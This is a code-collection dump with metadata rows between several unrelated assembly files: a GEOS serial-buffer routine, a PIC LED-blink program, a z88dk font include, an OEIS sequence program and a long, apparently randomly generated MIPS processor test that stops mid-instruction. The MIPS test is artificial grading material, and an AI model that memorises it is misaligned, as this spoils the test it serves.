SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/ 9/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialAdjustForGrowth proc near
uses cx, si, di, es
.enter
;
; If didn't grow, do nothing.
;
cmp cx, dx
jbe done
;
; See if the data wrap around the end of the buffer. If they don't
; then we have nothing to worry about, as the data can merrily reside
; in the middle of the buffer contiguously without hurting anything.
;
segmov es, ds
mov ax, ds:[SD_reader].SSD_ptr
cmp ax, ds:[SD_writer].SSD_ptr
ja wraps
jb done ; => doesn't wrap, so don't need to
; worry
;
; Either full (wraps) or empty (doesn't wrap). Don't have to worry about
; < 0 case, as no one can be blocked on the thing, since we're the only
; ones here...
;
tst ds:[SD_reader].SSD_sem.Sem_value
jz done
wraps:
;
; Sigh. It wraps. Woe is me. Sniff.
;
; Must move the data up in the world from the old end to the new end.
;
mov di, cx ; es:di <- new end+1
mov si, dx ; ds:si <- old end+1
mov cx, dx
sub cx, ax ; cx <- # bytes to move
dec di ; move to actual last byte
dec si ; from actual last byte
std ; do that wacky decrement thing
rep movsb
cld
;
; Point to the new position of the first byte for reading.
;
inc di
mov ds:[SD_reader].SSD_ptr, di
done:
.leave
ret
SerialAdjustForGrowth endp
OpenClose ends
| 25.884393 | 142 | 0.61255 |
71d3ebe2f660d5d7f3387746dc4368d9f6284425 | 1,595 | asm | Assembly | UPC_Summerschool_2019/on_off_led.X/maincode.asm | tocache/picomones | d9fd1e75fbbd964c5f628940a8e1161c5b6791fd | [
"CC0-1.0"
] | 5 | 2019-08-16T14:48:49.000Z | 2022-01-11T12:22:02.000Z | UPC_Summerschool_2019/on_off_led.X/maincode.asm | tocache/picomones | d9fd1e75fbbd964c5f628940a8e1161c5b6791fd | [
"CC0-1.0"
] | null | null | null | UPC_Summerschool_2019/on_off_led.X/maincode.asm | tocache/picomones | d9fd1e75fbbd964c5f628940a8e1161c5b6791fd | [
"CC0-1.0"
] | 8 | 2018-10-30T01:17:19.000Z | 2022-01-11T14:35:50.000Z | ;UPC Summer School 2019
;Template written by Kalun
list p=18f4550 ;The microcontroller of the project
#include <p18f4550.inc> ;Library for the register's labels
CONFIG FOSC = XT_XT ; Oscillator Selection bits (XT oscillator (XT))
CONFIG PWRT = ON ; Power-up Timer Enable bit (PWRT enabled)
CONFIG BOR = OFF ; Brown-out Reset Enable bits (Brown-out Reset disabled in hardware and software)
CONFIG WDT = OFF ; Watchdog Timer Enable bit (WDT disabled (control is placed on the SWDTEN bit))
CONFIG PBADEN = OFF ; PORTB A/D Enable bit (PORTB<4:0> pins are configured as digital I/O on Reset)
CONFIG MCLRE = ON ; MCLR Pin Enable bit (MCLR pin enabled; RE3 input pin disabled)
CONFIG LVP = OFF ; Single-Supply ICSP Enable bit (Single-Supply ICSP disabled)
cblock 0x0020 ; Block declaration for RAM beggining at address 0x0020
var_i
var_j
var_k
endc
org 0x0000 ;Reset vector address
goto beginning
org 0x0020 ;User program area
beginning:
bcf TRISD, 0 ;RD0 port as an output
loop:
bsf LATD, 0 ;RD0 high
call delay_100ms ;100ms delay routine
bcf LATD, 0 ;RD0 low
call delay_100ms ;100ms delay routine
goto loop
delay_100ms:
movlw .100
movwf var_i
u1: call sub1
decfsz var_i, f
goto u1
return
sub1:
movlw .100
movwf var_j
u2: call sub2
decfsz var_j, f
goto u2
return
sub2:
movlw .10
movwf var_k
u3: decfsz var_k, f
goto u3
return
end | 27.5 | 113 | 0.640752 |
93dbccc8c705eb321e7712496b66b93bd6f52071 | 133 | asm | Assembly | libsrc/_DEVELOPMENT/font/fzx/fonts/dkud3/NisaSport/_ff_dkud3_NisaSport2.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/font/fzx/fonts/dkud3/NisaSport/_ff_dkud3_NisaSport2.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/font/fzx/fonts/dkud3/NisaSport/_ff_dkud3_NisaSport2.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
SECTION rodata_font_fzx
PUBLIC _ff_dkud3_NisaSport2
_ff_dkud3_NisaSport2:
BINARY "font/fzx/fonts/dkud3/NisaSport/NISASPORT2.fzx"
| 14.777778 | 54 | 0.849624 |
31f2225d2967e56873123a11c8682e8c73d6ccfe | 1,781 | asm | Assembly | programs/oeis/266/A266250.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/266/A266250.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/266/A266250.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A266250: Total number of ON (black) cells after n iterations of the "Rule 9" elementary cellular automaton starting with a single ON (black) cell.
; 1,1,3,5,9,14,18,27,31,44,48,65,69,90,94,119,123,152,156,189,193,230,234,275,279,324,328,377,381,434,438,495,499,560,564,629,633,702,706,779,783,860,864,945,949,1034,1038,1127,1131,1224,1228,1325,1329,1430,1434,1539,1543,1652,1656,1769,1773,1890,1894,2015,2019,2144,2148,2277,2281,2414,2418,2555,2559,2700,2704,2849,2853,3002,3006,3159,3163,3320,3324,3485,3489,3654,3658,3827,3831,4004,4008,4185,4189,4370,4374,4559,4563,4752,4756,4949,4953,5150,5154,5355,5359,5564,5568,5777,5781,5994,5998,6215,6219,6440,6444,6669,6673,6902,6906,7139,7143,7380,7384,7625,7629,7874,7878,8127,8131,8384,8388,8645,8649,8910,8914,9179,9183,9452,9456,9729,9733,10010,10014,10295,10299,10584,10588,10877,10881,11174,11178,11475,11479,11780,11784,12089,12093,12402,12406,12719,12723,13040,13044,13365,13369,13694,13698,14027,14031,14364,14368,14705,14709,15050,15054,15399,15403,15752,15756,16109,16113,16470,16474,16835,16839,17204,17208,17577,17581,17954,17958,18335,18339,18720,18724,19109,19113,19502,19506,19899,19903,20300,20304,20705,20709,21114,21118,21527,21531,21944,21948,22365,22369,22790,22794,23219,23223,23652,23656,24089,24093,24530,24534,24975,24979,25424,25428,25877,25881,26334,26338,26795,26799,27260,27264,27729,27733,28202,28206,28679,28683,29160,29164,29645,29649,30134,30138,30627,30631,31124
mov $5,$0
mov $7,$0
add $7,1
lpb $7,1
clr $0,5
mov $0,$5
sub $7,1
sub $0,$7
add $4,$0
mul $4,2
cal $0,266251 ; Number of OFF (white) cells in the n-th iteration of the "Rule 9" elementary cellular automaton starting with a single ON (black) cell.
add $4,22
sub $4,$0
mov $1,$4
sub $1,21
add $6,$1
lpe
mov $1,$6
| 80.954545 | 1,295 | 0.763054 |
09004219414b192c2f52f5553a2961a004a2ace8 | 48,853 | asm | Assembly | P6/data_P6/testpoint/testpoint16.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | 1 | 2022-01-23T09:24:47.000Z | 2022-01-23T09:24:47.000Z | P6/data_P6/testpoint/testpoint16.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | null | null | null | P6/data_P6/testpoint/testpoint16.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | null | null | null | ori $1, $0, 7
ori $2, $0, 1
ori $3, $0, 11
ori $4, $0, 9
sw $2, 0($0)
sw $3, 4($0)
sw $4, 8($0)
sw $4, 12($0)
sw $3, 16($0)
sw $3, 20($0)
sw $2, 24($0)
sw $4, 28($0)
sw $1, 32($0)
sw $3, 36($0)
sw $2, 40($0)
sw $2, 44($0)
sw $4, 48($0)
sw $1, 52($0)
sw $3, 56($0)
sw $2, 60($0)
sw $1, 64($0)
sw $3, 68($0)
sw $1, 72($0)
sw $4, 76($0)
sw $4, 80($0)
sw $4, 84($0)
sw $3, 88($0)
sw $1, 92($0)
sw $2, 96($0)
sw $4, 100($0)
sw $3, 104($0)
sw $1, 108($0)
sw $4, 112($0)
sw $2, 116($0)
sw $2, 120($0)
sw $4, 124($0)
lbu $3, 0($2)
mtlo $2
mflo $2
mfhi $4
TAG1:
srav $4, $4, $4
mult $4, $4
mtlo $4
and $1, $4, $4
TAG2:
lui $1, 2
mfhi $4
lui $4, 11
mfhi $3
TAG3:
sltu $1, $3, $3
lh $1, 0($3)
lui $3, 13
lui $3, 7
TAG4:
nor $1, $3, $3
mflo $1
sw $1, 0($1)
mthi $1
TAG5:
sw $1, 0($1)
sw $1, 0($1)
bgtz $1, TAG6
multu $1, $1
TAG6:
srlv $1, $1, $1
lh $1, 0($1)
lui $4, 3
bne $4, $1, TAG7
TAG7:
addiu $3, $4, 4
mult $3, $4
divu $4, $4
lui $4, 11
TAG8:
beq $4, $4, TAG9
mflo $1
ori $4, $4, 3
lb $1, 0($4)
TAG9:
xor $2, $1, $1
xor $2, $1, $2
multu $2, $1
sltu $2, $2, $1
TAG10:
mult $2, $2
beq $2, $2, TAG11
sb $2, 0($2)
lui $3, 15
TAG11:
sltiu $4, $3, 7
sltiu $3, $3, 12
mflo $4
multu $3, $4
TAG12:
mult $4, $4
bgtz $4, TAG13
subu $2, $4, $4
bne $4, $4, TAG13
TAG13:
lw $2, 0($2)
blez $2, TAG14
multu $2, $2
divu $2, $2
TAG14:
bne $2, $2, TAG15
sw $2, 0($2)
blez $2, TAG15
mflo $4
TAG15:
multu $4, $4
bgtz $4, TAG16
mthi $4
sra $3, $4, 2
TAG16:
addu $4, $3, $3
mult $3, $4
mult $3, $4
nor $2, $4, $3
TAG17:
bgtz $2, TAG18
xor $3, $2, $2
lbu $1, 0($3)
mthi $2
TAG18:
mult $1, $1
xori $4, $1, 10
mflo $3
lui $3, 14
TAG19:
bltz $3, TAG20
sll $0, $0, 0
mthi $1
bne $1, $1, TAG20
TAG20:
sb $1, 0($1)
mtlo $1
bgez $1, TAG21
lui $1, 2
TAG21:
sra $2, $1, 14
mtlo $2
lui $4, 11
beq $2, $4, TAG22
TAG22:
xor $1, $4, $4
sb $4, 0($1)
sll $0, $0, 0
srlv $3, $1, $1
TAG23:
sb $3, 0($3)
lhu $1, 0($3)
sh $1, 0($1)
mult $1, $3
TAG24:
lhu $4, 0($1)
mfhi $3
lui $3, 13
beq $3, $4, TAG25
TAG25:
mflo $4
mult $4, $4
lui $3, 5
sltu $2, $4, $3
TAG26:
sb $2, 0($2)
div $2, $2
slti $2, $2, 14
andi $2, $2, 7
TAG27:
mtlo $2
addu $2, $2, $2
mult $2, $2
lui $4, 1
TAG28:
lui $2, 11
addiu $1, $2, 7
andi $1, $2, 2
mflo $4
TAG29:
bne $4, $4, TAG30
sw $4, 0($4)
srav $2, $4, $4
lb $2, 0($2)
TAG30:
mflo $2
bgez $2, TAG31
mflo $1
sb $2, 0($1)
TAG31:
lw $1, 0($1)
srav $2, $1, $1
lb $3, 0($2)
sb $2, 0($1)
TAG32:
srlv $2, $3, $3
xori $1, $2, 13
sh $1, 0($3)
lw $1, 0($3)
TAG33:
sb $1, 0($1)
sllv $2, $1, $1
mult $2, $2
bne $1, $1, TAG34
TAG34:
lui $1, 15
lui $4, 7
sll $0, $0, 0
mthi $2
TAG35:
beq $4, $4, TAG36
mfhi $4
mflo $2
divu $2, $2
TAG36:
lui $4, 5
lui $1, 8
bne $2, $4, TAG37
sll $0, $0, 0
TAG37:
beq $1, $1, TAG38
mtlo $1
bgez $1, TAG38
div $1, $1
TAG38:
lui $1, 12
srav $4, $1, $1
bltz $1, TAG39
mfhi $2
TAG39:
lui $1, 6
sll $0, $0, 0
lui $2, 7
mfhi $4
TAG40:
multu $4, $4
mflo $4
mtlo $4
blez $4, TAG41
TAG41:
mflo $4
bltz $4, TAG42
sll $0, $0, 0
lui $2, 7
TAG42:
lui $2, 4
sll $0, $0, 0
xori $2, $2, 3
multu $2, $2
TAG43:
bgez $2, TAG44
sll $0, $0, 0
beq $2, $2, TAG44
mtlo $2
TAG44:
sll $0, $0, 0
divu $2, $2
lui $2, 9
sll $0, $0, 0
TAG45:
lui $2, 10
lui $2, 5
or $4, $2, $2
sll $0, $0, 0
TAG46:
sll $0, $0, 0
bne $2, $2, TAG47
sll $0, $0, 0
mflo $1
TAG47:
bne $1, $1, TAG48
lui $1, 11
div $1, $1
mflo $4
TAG48:
bne $4, $4, TAG49
slt $1, $4, $4
lhu $1, 0($1)
mfhi $4
TAG49:
sh $4, 0($4)
addiu $1, $4, 10
addu $3, $1, $1
bne $1, $3, TAG50
TAG50:
divu $3, $3
mult $3, $3
mflo $4
sra $1, $4, 10
TAG51:
mthi $1
bgez $1, TAG52
lh $2, 0($1)
mtlo $1
TAG52:
mtlo $2
lui $3, 2
sll $0, $0, 0
sb $2, 0($2)
TAG53:
mthi $3
lui $4, 14
mthi $4
sll $0, $0, 0
TAG54:
sll $0, $0, 0
blez $4, TAG55
lui $1, 7
mtlo $4
TAG55:
sll $0, $0, 0
lui $2, 12
subu $4, $2, $3
div $2, $1
TAG56:
sll $0, $0, 0
mflo $3
lui $2, 3
mflo $2
TAG57:
mtlo $2
beq $2, $2, TAG58
mtlo $2
xori $1, $2, 10
TAG58:
bne $1, $1, TAG59
sll $0, $0, 0
sll $1, $1, 8
srl $2, $1, 4
TAG59:
mthi $2
bne $2, $2, TAG60
sll $4, $2, 9
mfhi $3
TAG60:
addu $2, $3, $3
srav $2, $3, $2
sll $0, $0, 0
lui $1, 6
TAG61:
mtlo $1
divu $1, $1
mflo $3
sll $0, $0, 0
TAG62:
mtlo $1
sll $0, $0, 0
bltz $3, TAG63
subu $3, $3, $3
TAG63:
mfhi $2
multu $3, $2
sw $3, 0($2)
lb $3, 0($2)
TAG64:
lui $2, 14
lui $3, 9
mflo $4
and $1, $2, $4
TAG65:
sltiu $4, $1, 1
multu $4, $1
sub $1, $1, $1
lui $4, 3
TAG66:
sll $4, $4, 8
sll $0, $0, 0
div $4, $4
sll $0, $0, 0
TAG67:
mfhi $2
bne $2, $2, TAG68
mtlo $2
mult $2, $2
TAG68:
mthi $2
beq $2, $2, TAG69
mthi $2
bne $2, $2, TAG69
TAG69:
lui $2, 15
mfhi $4
mthi $2
sll $0, $0, 0
TAG70:
lui $2, 15
bltz $1, TAG71
lui $4, 7
xori $2, $1, 9
TAG71:
lbu $3, 0($2)
sltu $4, $3, $2
slti $2, $2, 8
mtlo $4
TAG72:
mfhi $1
sll $0, $0, 0
lh $3, 0($2)
mflo $1
TAG73:
mflo $1
lui $3, 2
addu $3, $3, $3
blez $1, TAG74
TAG74:
sll $0, $0, 0
mthi $3
beq $3, $3, TAG75
slt $2, $3, $1
TAG75:
mthi $2
bne $2, $2, TAG76
nor $4, $2, $2
add $4, $2, $4
TAG76:
mult $4, $4
sll $2, $4, 2
sltu $1, $2, $4
lui $3, 5
TAG77:
xori $1, $3, 7
sll $0, $0, 0
lui $4, 8
bgez $1, TAG78
TAG78:
slt $3, $4, $4
sll $0, $0, 0
slti $1, $3, 11
mtlo $4
TAG79:
lb $2, 0($1)
mult $2, $2
mtlo $1
sltu $2, $2, $1
TAG80:
sra $2, $2, 0
xor $3, $2, $2
sb $3, 0($2)
lb $3, 0($2)
TAG81:
beq $3, $3, TAG82
sltu $3, $3, $3
beq $3, $3, TAG82
sltiu $2, $3, 5
TAG82:
blez $2, TAG83
mfhi $4
mtlo $2
bltz $4, TAG83
TAG83:
mflo $3
lui $3, 11
beq $3, $4, TAG84
lbu $1, 0($4)
TAG84:
sh $1, 0($1)
lui $2, 9
multu $2, $1
mult $2, $2
TAG85:
divu $2, $2
mfhi $1
bgez $1, TAG86
sll $2, $1, 7
TAG86:
bgez $2, TAG87
srav $3, $2, $2
lui $1, 6
lhu $3, 0($3)
TAG87:
lhu $3, 0($3)
sra $2, $3, 5
sb $3, 0($3)
lbu $1, 0($3)
TAG88:
addu $2, $1, $1
blez $1, TAG89
multu $2, $1
lbu $2, 0($1)
TAG89:
sra $3, $2, 2
lui $2, 9
mtlo $3
mfhi $1
TAG90:
lui $1, 11
lui $4, 11
lui $3, 13
lui $2, 15
TAG91:
sll $0, $0, 0
sll $0, $0, 0
blez $2, TAG92
sll $0, $0, 0
TAG92:
multu $2, $2
blez $2, TAG93
mtlo $2
bgez $2, TAG93
TAG93:
sra $2, $2, 13
srlv $1, $2, $2
sra $3, $2, 3
mult $1, $2
TAG94:
mthi $3
mthi $3
lw $2, 0($3)
bgez $2, TAG95
TAG95:
lhu $3, 0($2)
bne $2, $3, TAG96
lbu $3, 0($3)
mflo $1
TAG96:
bltz $1, TAG97
mthi $1
bne $1, $1, TAG97
srl $1, $1, 10
TAG97:
multu $1, $1
lbu $1, 0($1)
addiu $3, $1, 12
lui $4, 12
TAG98:
bne $4, $4, TAG99
addu $4, $4, $4
sll $0, $0, 0
mthi $4
TAG99:
bgtz $4, TAG100
sll $0, $0, 0
divu $4, $4
bgtz $4, TAG100
TAG100:
sll $0, $0, 0
mthi $4
beq $4, $4, TAG101
sll $0, $0, 0
TAG101:
sh $1, 0($1)
mfhi $1
subu $3, $1, $1
mfhi $4
TAG102:
multu $4, $4
bgtz $4, TAG103
srl $3, $4, 9
beq $4, $4, TAG103
TAG103:
addiu $4, $3, 11
blez $4, TAG104
mfhi $1
mtlo $1
TAG104:
lui $2, 3
mflo $4
sll $0, $0, 0
lhu $4, -3072($3)
TAG105:
lh $3, 0($4)
nor $1, $3, $3
multu $3, $4
mthi $4
TAG106:
beq $1, $1, TAG107
lui $1, 14
lui $1, 15
beq $1, $1, TAG107
TAG107:
sll $0, $0, 0
sll $0, $0, 0
bltz $4, TAG108
sll $0, $0, 0
TAG108:
mthi $3
mflo $2
lui $4, 6
sh $3, 0($3)
TAG109:
lui $3, 1
srav $4, $4, $4
divu $3, $4
mflo $4
TAG110:
sra $4, $4, 12
mtlo $4
bne $4, $4, TAG111
sw $4, 0($4)
TAG111:
bgez $4, TAG112
sb $4, 0($4)
lh $4, 0($4)
addiu $2, $4, 6
TAG112:
mtlo $2
lui $3, 12
multu $2, $3
sll $0, $0, 0
TAG113:
sll $0, $0, 0
sll $0, $0, 0
mflo $4
sw $3, 0($4)
TAG114:
bne $4, $4, TAG115
mfhi $1
mflo $3
beq $3, $4, TAG115
TAG115:
lui $1, 10
lui $3, 10
lui $2, 0
slt $2, $1, $3
TAG116:
mfhi $1
mthi $1
mfhi $1
ori $3, $1, 8
TAG117:
lh $1, 0($3)
bne $3, $3, TAG118
addu $4, $1, $1
mult $1, $1
TAG118:
multu $4, $4
and $2, $4, $4
bgez $2, TAG119
or $3, $2, $2
TAG119:
mult $3, $3
div $3, $3
lui $2, 12
xori $2, $2, 15
TAG120:
mult $2, $2
lui $1, 11
divu $2, $1
sll $0, $0, 0
TAG121:
mflo $2
nor $1, $2, $2
srl $1, $2, 0
subu $4, $1, $1
TAG122:
bgez $4, TAG123
mfhi $3
divu $4, $4
slti $3, $3, 7
TAG123:
lui $2, 10
sra $4, $3, 9
sll $0, $0, 0
sll $0, $0, 0
TAG124:
addu $4, $4, $4
beq $4, $4, TAG125
lui $3, 0
multu $4, $3
TAG125:
lhu $4, 0($3)
mflo $1
sw $1, 0($3)
mfhi $4
TAG126:
beq $4, $4, TAG127
addu $1, $4, $4
bltz $4, TAG127
sh $1, 0($4)
TAG127:
multu $1, $1
bltz $1, TAG128
divu $1, $1
lui $4, 9
TAG128:
sllv $1, $4, $4
xor $3, $1, $1
blez $4, TAG129
sub $1, $1, $3
TAG129:
sll $0, $0, 0
mult $1, $1
mflo $1
mflo $1
TAG130:
beq $1, $1, TAG131
lui $1, 3
sub $4, $1, $1
bne $4, $4, TAG131
TAG131:
mthi $4
lui $3, 3
bgtz $4, TAG132
xori $3, $4, 15
TAG132:
sll $0, $0, 0
slt $3, $3, $3
multu $3, $3
mflo $1
TAG133:
andi $1, $1, 4
lui $3, 15
slt $4, $1, $1
xor $1, $1, $3
TAG134:
multu $1, $1
div $1, $1
bgez $1, TAG135
sltiu $3, $1, 9
TAG135:
lh $1, 0($3)
mtlo $1
lb $4, 0($3)
lui $1, 11
TAG136:
mfhi $1
sltiu $3, $1, 5
lui $3, 8
srl $4, $1, 1
TAG137:
sh $4, 0($4)
mthi $4
mfhi $4
bgez $4, TAG138
TAG138:
sb $4, 0($4)
sw $4, 0($4)
lui $3, 13
sll $0, $0, 0
TAG139:
bltz $3, TAG140
divu $3, $3
lui $1, 14
lui $1, 11
TAG140:
subu $2, $1, $1
sw $1, 0($2)
addiu $3, $1, 4
lui $1, 5
TAG141:
subu $4, $1, $1
lui $4, 2
mflo $3
mflo $2
TAG142:
mtlo $2
mtlo $2
sb $2, 0($2)
bne $2, $2, TAG143
TAG143:
lb $3, 0($2)
lb $1, 0($2)
lui $3, 0
mult $2, $3
TAG144:
mflo $2
mtlo $3
sllv $4, $2, $2
lui $4, 13
TAG145:
sll $0, $0, 0
nor $4, $3, $3
srav $2, $3, $4
addiu $1, $4, 8
TAG146:
mfhi $2
bgtz $2, TAG147
lh $4, 0($2)
sb $2, 0($1)
TAG147:
and $1, $4, $4
lw $1, -256($1)
mthi $1
lui $2, 7
TAG148:
or $2, $2, $2
sltu $3, $2, $2
sll $4, $2, 11
sll $0, $0, 0
TAG149:
srav $4, $4, $4
multu $4, $4
sll $0, $0, 0
multu $4, $4
TAG150:
mtlo $1
mult $1, $1
sll $0, $0, 0
lui $3, 2
TAG151:
mfhi $4
lui $3, 8
lb $1, 0($4)
bgez $4, TAG152
TAG152:
srl $1, $1, 13
blez $1, TAG153
sb $1, 0($1)
mflo $3
TAG153:
sll $2, $3, 9
andi $3, $2, 2
andi $1, $3, 12
lui $4, 9
TAG154:
lui $2, 9
slti $1, $4, 12
sll $0, $0, 0
or $3, $1, $4
TAG155:
mflo $1
mfhi $4
mfhi $1
sra $3, $1, 14
TAG156:
bne $3, $3, TAG157
sh $3, 0($3)
lui $4, 11
mfhi $2
TAG157:
mfhi $2
sb $2, 0($2)
lb $1, 0($2)
sra $3, $2, 7
TAG158:
bgez $3, TAG159
mflo $1
mthi $3
mult $1, $3
TAG159:
sll $0, $0, 0
nor $4, $1, $1
lui $3, 12
lui $3, 7
TAG160:
mthi $3
sll $0, $0, 0
addiu $3, $3, 13
sll $0, $0, 0
TAG161:
bltz $3, TAG162
sll $0, $0, 0
sll $0, $0, 0
mthi $3
TAG162:
bne $3, $3, TAG163
lui $2, 8
subu $2, $2, $3
sll $0, $0, 0
TAG163:
sll $0, $0, 0
slti $3, $3, 8
bne $3, $3, TAG164
sh $3, 0($3)
TAG164:
addu $4, $3, $3
mfhi $4
mfhi $2
beq $4, $3, TAG165
TAG165:
lui $1, 10
lui $2, 2
beq $2, $1, TAG166
mfhi $1
TAG166:
blez $1, TAG167
sll $0, $0, 0
mtlo $1
mfhi $1
TAG167:
sllv $3, $1, $1
bgez $1, TAG168
sll $0, $0, 0
sw $2, 0($2)
TAG168:
mflo $4
lui $3, 14
sll $0, $0, 0
mflo $2
TAG169:
bgez $2, TAG170
lui $4, 13
divu $4, $4
bne $2, $2, TAG170
TAG170:
sll $0, $0, 0
sll $0, $0, 0
lui $2, 0
beq $4, $2, TAG171
TAG171:
mflo $4
lb $2, 0($2)
bgtz $4, TAG172
sltu $1, $2, $2
TAG172:
mthi $1
beq $1, $1, TAG173
sllv $2, $1, $1
mtlo $2
TAG173:
bne $2, $2, TAG174
xor $2, $2, $2
mult $2, $2
beq $2, $2, TAG174
TAG174:
multu $2, $2
lui $1, 6
lbu $4, 0($2)
lui $2, 15
TAG175:
beq $2, $2, TAG176
sll $0, $0, 0
mult $2, $2
lui $1, 14
TAG176:
mfhi $2
sb $1, 0($2)
sb $2, 0($2)
mtlo $2
TAG177:
lui $1, 7
sh $1, 0($2)
mfhi $3
sll $0, $0, 0
TAG178:
bltz $3, TAG179
addi $4, $3, 7
bltz $4, TAG179
lui $2, 12
TAG179:
xor $3, $2, $2
bltz $2, TAG180
mtlo $3
lui $2, 15
TAG180:
sltiu $3, $2, 11
mflo $4
mfhi $3
mthi $3
TAG181:
slti $2, $3, 8
srl $3, $2, 9
andi $1, $3, 4
srlv $3, $3, $3
TAG182:
mfhi $3
mult $3, $3
mthi $3
bne $3, $3, TAG183
TAG183:
mfhi $4
lbu $1, 0($3)
lui $3, 1
lui $2, 4
TAG184:
sll $0, $0, 0
div $2, $2
bltz $2, TAG185
srav $1, $2, $2
TAG185:
sllv $1, $1, $1
slt $1, $1, $1
mfhi $3
sw $1, 0($1)
TAG186:
lui $2, 14
lui $1, 2
mfhi $3
mult $3, $2
TAG187:
bltz $3, TAG188
sub $4, $3, $3
slt $1, $3, $3
bltz $1, TAG188
TAG188:
sb $1, 0($1)
beq $1, $1, TAG189
mflo $2
lui $2, 13
TAG189:
sub $3, $2, $2
bne $2, $3, TAG190
lui $1, 4
ori $4, $3, 6
TAG190:
mthi $4
xor $4, $4, $4
bgtz $4, TAG191
multu $4, $4
TAG191:
and $1, $4, $4
lui $4, 0
sltu $1, $4, $4
mflo $3
TAG192:
xor $1, $3, $3
sllv $3, $1, $3
beq $3, $1, TAG193
xor $3, $3, $3
TAG193:
lui $3, 3
mflo $4
sll $0, $0, 0
mflo $3
TAG194:
addiu $2, $3, 0
bne $3, $3, TAG195
srlv $3, $3, $2
mthi $2
TAG195:
lbu $1, 0($3)
multu $1, $3
mult $1, $3
lh $3, 0($1)
TAG196:
beq $3, $3, TAG197
mflo $4
lh $1, 0($3)
divu $1, $3
TAG197:
multu $1, $1
bne $1, $1, TAG198
addi $4, $1, 4
multu $1, $1
TAG198:
beq $4, $4, TAG199
lui $2, 14
mtlo $2
multu $4, $4
TAG199:
mflo $2
multu $2, $2
mult $2, $2
lh $4, 0($2)
TAG200:
mthi $4
mfhi $3
bgtz $3, TAG201
sltu $1, $4, $3
TAG201:
mflo $4
subu $4, $4, $1
mtlo $1
lui $3, 8
TAG202:
lui $3, 13
srlv $4, $3, $3
sll $0, $0, 0
mfhi $3
TAG203:
mflo $4
srav $4, $3, $4
mult $4, $4
sw $4, 0($3)
TAG204:
beq $4, $4, TAG205
lui $4, 10
sh $4, 0($4)
sb $4, 0($4)
TAG205:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
subu $3, $2, $4
TAG206:
sll $0, $0, 0
slti $2, $3, 1
ori $4, $2, 2
sll $0, $0, 0
TAG207:
lbu $4, 0($4)
mthi $4
multu $4, $4
mult $4, $4
TAG208:
mthi $4
mthi $4
bgez $4, TAG209
mfhi $2
TAG209:
lhu $4, 0($2)
mthi $2
lw $1, 0($2)
lui $2, 9
TAG210:
mflo $3
beq $3, $3, TAG211
lh $2, 0($3)
bltz $2, TAG211
TAG211:
multu $2, $2
lh $4, 0($2)
beq $4, $4, TAG212
sh $2, 0($4)
TAG212:
mfhi $1
multu $4, $1
mtlo $4
lui $2, 13
TAG213:
sll $0, $0, 0
sll $0, $0, 0
lui $4, 13
sll $0, $0, 0
TAG214:
mtlo $4
nor $1, $4, $4
slt $1, $4, $4
mfhi $2
TAG215:
mtlo $2
mflo $2
xor $3, $2, $2
lui $3, 15
TAG216:
bne $3, $3, TAG217
nor $4, $3, $3
mtlo $3
sll $0, $0, 0
TAG217:
div $4, $4
bgtz $4, TAG218
mtlo $4
mfhi $1
TAG218:
lhu $1, 0($1)
multu $1, $1
lbu $2, 0($1)
lui $4, 15
TAG219:
mthi $4
lui $3, 14
mflo $4
mthi $4
TAG220:
beq $4, $4, TAG221
xori $2, $4, 14
srav $1, $4, $2
bltz $4, TAG221
TAG221:
andi $1, $1, 1
lui $1, 4
lui $3, 9
sll $0, $0, 0
TAG222:
sll $0, $0, 0
subu $4, $3, $3
multu $3, $4
multu $4, $3
TAG223:
nor $4, $4, $4
mult $4, $4
lb $1, 1($4)
mult $4, $1
TAG224:
lb $1, 0($1)
blez $1, TAG225
lh $1, 0($1)
slt $4, $1, $1
TAG225:
div $4, $4
sb $4, 1($4)
sw $4, 1($4)
lh $2, 1($4)
TAG226:
sll $0, $0, 0
addu $2, $4, $4
addiu $1, $4, 15
srlv $2, $1, $4
TAG227:
mthi $2
addiu $1, $2, 2
mflo $3
beq $2, $3, TAG228
TAG228:
mfhi $1
addu $2, $3, $1
bltz $1, TAG229
xori $4, $3, 14
TAG229:
mtlo $4
blez $4, TAG230
mthi $4
lbu $4, 0($4)
TAG230:
mult $4, $4
beq $4, $4, TAG231
mflo $2
mfhi $2
TAG231:
sw $2, 0($2)
slt $4, $2, $2
bgtz $2, TAG232
multu $4, $4
TAG232:
lui $2, 6
sll $0, $0, 0
lui $3, 1
mult $2, $4
TAG233:
slti $1, $3, 6
bne $3, $1, TAG234
mthi $3
bgez $1, TAG234
TAG234:
slt $1, $1, $1
blez $1, TAG235
lw $3, 0($1)
lui $2, 11
TAG235:
multu $2, $2
ori $3, $2, 6
bltz $2, TAG236
sll $1, $3, 1
TAG236:
lui $3, 11
div $3, $3
mfhi $2
sll $0, $0, 0
TAG237:
bgtz $4, TAG238
sh $4, 0($4)
mthi $4
mthi $4
TAG238:
mflo $1
bgez $1, TAG239
mtlo $1
xori $4, $1, 14
TAG239:
blez $4, TAG240
lbu $4, 0($4)
addi $1, $4, 8
divu $4, $1
TAG240:
divu $1, $1
lui $3, 4
sllv $3, $1, $1
mflo $3
TAG241:
beq $3, $3, TAG242
mflo $3
srav $2, $3, $3
srlv $4, $3, $3
TAG242:
beq $4, $4, TAG243
